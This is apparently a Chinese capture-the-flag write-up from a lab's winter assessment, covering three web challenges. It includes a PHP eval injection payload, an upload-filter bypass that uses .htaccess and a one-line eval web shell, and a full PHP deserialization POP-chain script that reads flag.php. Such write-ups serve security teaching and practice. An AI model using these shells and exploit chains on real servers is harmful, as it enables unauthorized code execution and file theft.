实验室寒假ctf考核wp

web1

dirsearch先目录扫描

然后访问子目录,直到访问robots.txt,页面不一样了

继续访问,PHP特性

根据上面,a=a和数组绕过,传参绕过,?code=eval($_GET[1]);&1=echo tac flag.php ;

web2

后缀名不能有ph! 对于文件后缀名的限制,无法绕过这里

上传类型也太露骨了吧! 对 Content-Type 的限制,修改为 image/jpeg 即可绕过

只有文件名那里无法直接绕过,所以这里就可以利用上传一个 .htaccess 文件将别的后缀名文件内容解

析为php程序

内容为:

AddType application/x-httpd-php .mochu

再上传shell

可以使用<script language="php">eval($_POST['mochu7']);</script>绕过

传参mochu7=var_dump(scandir('/'));

找到目录,直接

web3

反序列化

直接看到include()函数,突破口

同时有以下魔术

__construct()//当一个对象创建时被调用

__toString() //当一个对象被当作一个字符串使用__wakeup()//将在反序列化之后立即被调用

__get()//读取不可访问属性的值时调用

invoke()//当尝试以调用函数的方式调用一个对象时,invoke()方法会被自动调用

调用include(),ikun,将aaa赋值为getflag,触发invoke需要当类对象被当做函数调用时触发,同时

aaa所在的方法中有get,而当我们访问一个类中不存在的属性时,才能触发该方法,因此转到lanqiu

中接下来看lanqiu类,其中wakeup方法没多大用处,只是对source做了一个限制,其中的tostring

法,与echo配合即可调用,这时将kun赋值为trythissource赋值为lanqiu,即可成功调用get

法,最后将eval赋值为 $eval="php://filter/read=convert.base64-encode/resource=flag.php";

可以访问到flag文件

pop

<?php

class get_flag {

protected $eval="php://filter/read=convert.base64-

encode/resource=flag.php";

}

class lanqiu{

public $source;

public $kun;

public function __construct(){

$this->kun = new Try_this();

}

}

class Try_this{

public $aaa;

}

$a = new lanqiu();

$a->source = new lanqiu();

$a->source->kun->aaa= new get_flag();

echo urlencode(serialize($a));

?>

然后base64解密就行